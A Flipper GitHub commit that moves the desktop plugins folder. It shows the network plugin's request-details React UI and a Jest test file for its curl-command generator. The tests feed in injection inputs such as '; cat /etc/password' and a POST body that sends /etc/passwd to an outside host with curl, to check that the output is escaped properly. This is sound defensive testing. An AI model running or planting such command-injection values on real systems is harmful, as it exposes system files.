Move plugins to "sonar/desktop/plugins"
Summary: Plugins moved from "sonar/desktop/src/plugins" to "sonar/desktop/plugins". Fixed all the paths after moving. New "desktop" folder structure: - `src` - Flipper desktop app JS code executing in Electron Renderer (Chrome) process. - `static` - Flipper desktop app JS code executing in Electron Main (Node.js) process. - `plugins` - Flipper desktop JS plugins. - `pkg` - Flipper packaging lib and CLI tool. - `doctor` - Flipper diagnostics lib and CLI tool. - `scripts` - Build scripts for Flipper desktop app. - `headless` - Headless version of Flipper desktop app. - `headless-tests` - Integration tests running agains Flipper headless version. Reviewed By: mweststrate Differential Revision: D20344186 fbshipit-source-id: d020da970b2ea1e001f9061a8782bfeb54e31ba0
This commit is contained in:
committed by
Facebook GitHub Bot
parent
beb5c85e69
commit
10d990c32c
817
desktop/plugins/network/RequestDetails.tsx
Normal file
817
desktop/plugins/network/RequestDetails.tsx
Normal file
@@ -0,0 +1,817 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Request, Response, Header, Insights, RetryInsights} from './types';
|
||||
|
||||
import {
|
||||
Component,
|
||||
FlexColumn,
|
||||
ManagedTable,
|
||||
ManagedDataInspector,
|
||||
Text,
|
||||
Panel,
|
||||
Select,
|
||||
styled,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
import {decodeBody, getHeaderValue} from './utils';
|
||||
import {formatBytes} from './index';
|
||||
import React from 'react';
|
||||
|
||||
import querystring from 'querystring';
|
||||
import xmlBeautifier from 'xml-beautifier';
|
||||
|
||||
const WrappingText = styled(Text)({
|
||||
wordWrap: 'break-word',
|
||||
width: '100%',
|
||||
lineHeight: '125%',
|
||||
padding: '3px 0',
|
||||
});
|
||||
|
||||
const KeyValueColumnSizes = {
|
||||
key: '30%',
|
||||
value: 'flex',
|
||||
};
|
||||
|
||||
const KeyValueColumns = {
|
||||
key: {
|
||||
value: 'Key',
|
||||
resizable: false,
|
||||
},
|
||||
value: {
|
||||
value: 'Value',
|
||||
resizable: false,
|
||||
},
|
||||
};
|
||||
|
||||
type RequestDetailsProps = {
|
||||
request: Request;
|
||||
response: Response | null | undefined;
|
||||
};
|
||||
|
||||
type RequestDetailsState = {
|
||||
bodyFormat: string;
|
||||
};
|
||||
|
||||
export default class RequestDetails extends Component<
|
||||
RequestDetailsProps,
|
||||
RequestDetailsState
|
||||
> {
|
||||
static Container = styled(FlexColumn)({
|
||||
height: '100%',
|
||||
overflow: 'auto',
|
||||
});
|
||||
static BodyOptions = {
|
||||
formatted: 'formatted',
|
||||
parsed: 'parsed',
|
||||
};
|
||||
|
||||
state: RequestDetailsState = {bodyFormat: RequestDetails.BodyOptions.parsed};
|
||||
|
||||
urlColumns = (url: URL) => {
|
||||
return [
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Full URL</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.href}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.href,
|
||||
key: 'url',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Host</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.host}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.host,
|
||||
key: 'host',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Path</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.pathname}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.pathname,
|
||||
key: 'path',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Query String</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.search}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.search,
|
||||
key: 'query',
|
||||
},
|
||||
];
|
||||
};
|
||||
|
||||
onSelectFormat = (bodyFormat: string) => {
|
||||
this.setState(() => ({bodyFormat}));
|
||||
};
|
||||
|
||||
render() {
|
||||
const {request, response} = this.props;
|
||||
const url = new URL(request.url);
|
||||
|
||||
const {bodyFormat} = this.state;
|
||||
const formattedText = bodyFormat == RequestDetails.BodyOptions.formatted;
|
||||
|
||||
return (
|
||||
<RequestDetails.Container>
|
||||
<Panel
|
||||
key="request"
|
||||
heading={'Request'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={this.urlColumns(url)}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
</Panel>
|
||||
|
||||
{url.search ? (
|
||||
<Panel
|
||||
heading={'Request Query Parameters'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<QueryInspector queryParams={url.searchParams} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.headers.length > 0 ? (
|
||||
<Panel
|
||||
key="headers"
|
||||
heading={'Request Headers'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={request.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.data != null ? (
|
||||
<Panel
|
||||
key="requestData"
|
||||
heading={'Request Body'}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<RequestBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
/>
|
||||
</Panel>
|
||||
) : null}
|
||||
{response ? (
|
||||
<>
|
||||
{response.headers.length > 0 ? (
|
||||
<Panel
|
||||
key={'responseheaders'}
|
||||
heading={'Response Headers'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={response.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
<Panel
|
||||
key={'responsebody'}
|
||||
heading={'Response Body'}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<ResponseBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
response={response}
|
||||
/>
|
||||
</Panel>
|
||||
</>
|
||||
) : null}
|
||||
<Panel
|
||||
key="options"
|
||||
heading={'Options'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<Select
|
||||
grow
|
||||
label="Body"
|
||||
selected={bodyFormat}
|
||||
onChange={this.onSelectFormat}
|
||||
options={RequestDetails.BodyOptions}
|
||||
/>
|
||||
</Panel>
|
||||
{response && response.insights ? (
|
||||
<Panel
|
||||
key="insights"
|
||||
heading={'Insights'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<InsightsInspector insights={response.insights} />
|
||||
</Panel>
|
||||
) : null}
|
||||
</RequestDetails.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class QueryInspector extends Component<{queryParams: URLSearchParams}> {
|
||||
render() {
|
||||
const {queryParams} = this.props;
|
||||
|
||||
const rows: any = [];
|
||||
queryParams.forEach((value: string, key: string) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key: key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
type HeaderInspectorProps = {
|
||||
headers: Array<Header>;
|
||||
};
|
||||
|
||||
type HeaderInspectorState = {
|
||||
computedHeaders: Object;
|
||||
};
|
||||
|
||||
class HeaderInspector extends Component<
|
||||
HeaderInspectorProps,
|
||||
HeaderInspectorState
|
||||
> {
|
||||
render() {
|
||||
const computedHeaders: Map<string, string> = this.props.headers.reduce(
|
||||
(sum, header) => {
|
||||
return sum.set(header.key, header.value);
|
||||
},
|
||||
new Map(),
|
||||
);
|
||||
|
||||
const rows: any = [];
|
||||
computedHeaders.forEach((value: string, key: string) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
const BodyContainer = styled.div({
|
||||
paddingTop: 10,
|
||||
paddingBottom: 20,
|
||||
});
|
||||
|
||||
type BodyFormatter = {
|
||||
formatRequest?: (request: Request) => any;
|
||||
formatResponse?: (request: Request, response: Response) => any;
|
||||
};
|
||||
|
||||
class RequestBodyInspector extends Component<{
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, formattedText} = this.props;
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
let component;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatRequest) {
|
||||
try {
|
||||
component = formatter.formatRequest(request);
|
||||
if (component) {
|
||||
break;
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
component = component || <Text>{decodeBody(request)}</Text>;
|
||||
|
||||
return <BodyContainer>{component}</BodyContainer>;
|
||||
}
|
||||
}
|
||||
|
||||
class ResponseBodyInspector extends Component<{
|
||||
response: Response;
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, response, formattedText} = this.props;
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
let component;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatResponse) {
|
||||
try {
|
||||
component = formatter.formatResponse(request, response);
|
||||
if (component) {
|
||||
break;
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
component = component || <Text>{decodeBody(response)}</Text>;
|
||||
|
||||
return <BodyContainer>{component}</BodyContainer>;
|
||||
}
|
||||
}
|
||||
|
||||
const MediaContainer = styled(FlexColumn)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
width: '100%',
|
||||
});
|
||||
|
||||
type ImageWithSizeProps = {
|
||||
src: string;
|
||||
};
|
||||
|
||||
type ImageWithSizeState = {
|
||||
width: number;
|
||||
height: number;
|
||||
};
|
||||
|
||||
class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
|
||||
static Image = styled.img({
|
||||
objectFit: 'scale-down',
|
||||
maxWidth: '100%',
|
||||
marginBottom: 10,
|
||||
});
|
||||
|
||||
static Text = styled(Text)({
|
||||
color: colors.dark70,
|
||||
fontSize: 14,
|
||||
});
|
||||
|
||||
constructor(props: ImageWithSizeProps, context: any) {
|
||||
super(props, context);
|
||||
this.state = {
|
||||
width: 0,
|
||||
height: 0,
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
const image = new Image();
|
||||
image.src = this.props.src;
|
||||
image.onload = () => {
|
||||
image.width;
|
||||
image.height;
|
||||
this.setState({
|
||||
width: image.width,
|
||||
height: image.height,
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<ImageWithSize.Image src={this.props.src} />
|
||||
<ImageWithSize.Text>
|
||||
{this.state.width} x {this.state.height}
|
||||
</ImageWithSize.Text>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ImageFormatter {
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
if (getHeaderValue(response.headers, 'content-type').startsWith('image')) {
|
||||
return <ImageWithSize src={request.url} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class VideoFormatter {
|
||||
static Video = styled.video({
|
||||
maxWidth: 500,
|
||||
maxHeight: 500,
|
||||
});
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
const contentType = getHeaderValue(response.headers, 'content-type');
|
||||
if (contentType.startsWith('video')) {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<VideoFormatter.Video controls={true}>
|
||||
<source src={request.url} type={contentType} />
|
||||
</VideoFormatter.Video>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONText extends Component<{children: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const jsonObject = this.props.children;
|
||||
return (
|
||||
<JSONText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{JSON.stringify(jsonObject, null, 2)}
|
||||
{'\n'}
|
||||
</JSONText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class XMLText extends Component<{body: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const xmlPretty = xmlBeautifier(this.props.body);
|
||||
return (
|
||||
<XMLText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{xmlPretty}
|
||||
{'\n'}
|
||||
</XMLText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class JSONTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return <JSONText>{data}</JSONText>;
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
return body
|
||||
.split('\n')
|
||||
.map(json => JSON.parse(json))
|
||||
.map(data => <JSONText>{data}</JSONText>);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class XMLTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (contentType.startsWith('text/html')) {
|
||||
return <XMLText body={body} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const roots = body.split('\n');
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={roots.map(json => JSON.parse(json))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class LogEventFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('logging_client_event') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.message === 'string') {
|
||||
data.message = JSON.parse(data.message);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLBatchFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphqlbatch') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.queries === 'string') {
|
||||
data.queries = JSON.parse(data.queries);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLFormatter {
|
||||
parsedServerTimeForFirstFlush = (data: any) => {
|
||||
const firstResponse =
|
||||
Array.isArray(data) && data.length > 0 ? data[0] : data;
|
||||
if (!firstResponse) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const extensions = firstResponse['extensions'];
|
||||
if (!extensions) {
|
||||
return null;
|
||||
}
|
||||
const serverMetadata = extensions['server_metadata'];
|
||||
if (!serverMetadata) {
|
||||
return null;
|
||||
}
|
||||
const requestStartMs = serverMetadata['request_start_time_ms'];
|
||||
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
|
||||
return (
|
||||
<WrappingText>
|
||||
{'Server wall time for initial response (ms): ' +
|
||||
(timeAtFlushMs - requestStartMs)}
|
||||
</WrappingText>
|
||||
);
|
||||
};
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphql') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.variables === 'string') {
|
||||
data.variables = JSON.parse(data.variables);
|
||||
}
|
||||
if (typeof data.query_params === 'string') {
|
||||
data.query_params = JSON.parse(data.query_params);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('text/html') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(data)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const parsedResponses = body
|
||||
.replace(/}{/g, '}\r\n{')
|
||||
.split('\n')
|
||||
.map(json => JSON.parse(json));
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(parsedResponses)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={parsedResponses}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class FormUrlencodedFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
const contentType = getHeaderValue(request.headers, 'content-type');
|
||||
if (contentType.startsWith('application/x-www-form-urlencoded')) {
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
expandRoot={true}
|
||||
data={querystring.parse(decodeBody(request))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
const BodyFormatters: Array<BodyFormatter> = [
|
||||
new ImageFormatter(),
|
||||
new VideoFormatter(),
|
||||
new LogEventFormatter(),
|
||||
new GraphQLBatchFormatter(),
|
||||
new GraphQLFormatter(),
|
||||
new JSONFormatter(),
|
||||
new FormUrlencodedFormatter(),
|
||||
new XMLTextFormatter(),
|
||||
];
|
||||
|
||||
const TextBodyFormatters: Array<BodyFormatter> = [new JSONTextFormatter()];
|
||||
|
||||
class InsightsInspector extends Component<{insights: Insights}> {
|
||||
formatTime(value: number): string {
|
||||
return `${value} ms`;
|
||||
}
|
||||
|
||||
formatSpeed(value: number): string {
|
||||
return `${formatBytes(value)}/sec`;
|
||||
}
|
||||
|
||||
formatRetries(retry: RetryInsights): string {
|
||||
const timesWord = retry.limit === 1 ? 'time' : 'times';
|
||||
|
||||
return `${this.formatTime(retry.timeSpent)} (${
|
||||
retry.count
|
||||
} ${timesWord} out of ${retry.limit})`;
|
||||
}
|
||||
|
||||
buildRow<T>(
|
||||
name: string,
|
||||
value: T | null | undefined,
|
||||
formatter: (value: T) => string,
|
||||
): any {
|
||||
return value
|
||||
? {
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{name}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{formatter(value)}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: `${name}: ${formatter(value)}`,
|
||||
key: name,
|
||||
}
|
||||
: null;
|
||||
}
|
||||
|
||||
render() {
|
||||
const insights = this.props.insights;
|
||||
const {buildRow, formatTime, formatSpeed, formatRetries} = this;
|
||||
|
||||
const rows = [
|
||||
buildRow('Retries', insights.retries, formatRetries.bind(this)),
|
||||
buildRow('DNS lookup time', insights.dnsLookupTime, formatTime),
|
||||
buildRow('Connect time', insights.connectTime, formatTime),
|
||||
buildRow('SSL handshake time', insights.sslHandshakeTime, formatTime),
|
||||
buildRow('Pretransfer time', insights.preTransferTime, formatTime),
|
||||
buildRow('Redirect time', insights.redirectsTime, formatTime),
|
||||
buildRow('First byte wait time', insights.timeToFirstByte, formatTime),
|
||||
buildRow('Data transfer time', insights.transferTime, formatTime),
|
||||
buildRow('Post processing time', insights.postProcessingTime, formatTime),
|
||||
buildRow('Bytes transfered', insights.bytesTransfered, formatBytes),
|
||||
buildRow('Transfer speed', insights.transferSpeed, formatSpeed),
|
||||
].filter(r => r != null);
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
147
desktop/plugins/network/__tests__/requestToCurlCommand.node.tsx
Normal file
147
desktop/plugins/network/__tests__/requestToCurlCommand.node.tsx
Normal file
@@ -0,0 +1,147 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils';
|
||||
import {Request} from '../types';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||
);
|
||||
});
|
||||
595
desktop/plugins/network/index.tsx
Normal file
595
desktop/plugins/network/index.tsx
Normal file
@@ -0,0 +1,595 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {TableHighlightedRows, TableRows, TableBodyRow} from 'flipper';
|
||||
import {padStart} from 'lodash';
|
||||
import React from 'react';
|
||||
import {MenuItemConstructorOptions} from 'electron';
|
||||
|
||||
import {
|
||||
ContextMenu,
|
||||
FlexColumn,
|
||||
Button,
|
||||
Text,
|
||||
Glyph,
|
||||
colors,
|
||||
PureComponent,
|
||||
DetailSidebar,
|
||||
styled,
|
||||
SearchableTable,
|
||||
FlipperPlugin,
|
||||
} from 'flipper';
|
||||
import {Request, RequestId, Response} from './types';
|
||||
import {convertRequestToCurlCommand, getHeaderValue, decodeBody} from './utils';
|
||||
import RequestDetails from './RequestDetails';
|
||||
import {clipboard} from 'electron';
|
||||
import {URL} from 'url';
|
||||
import {DefaultKeyboardAction} from 'src/MenuBar';
|
||||
|
||||
type PersistedState = {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
};
|
||||
|
||||
type State = {
|
||||
selectedIds: Array<RequestId>;
|
||||
searchTerm: string;
|
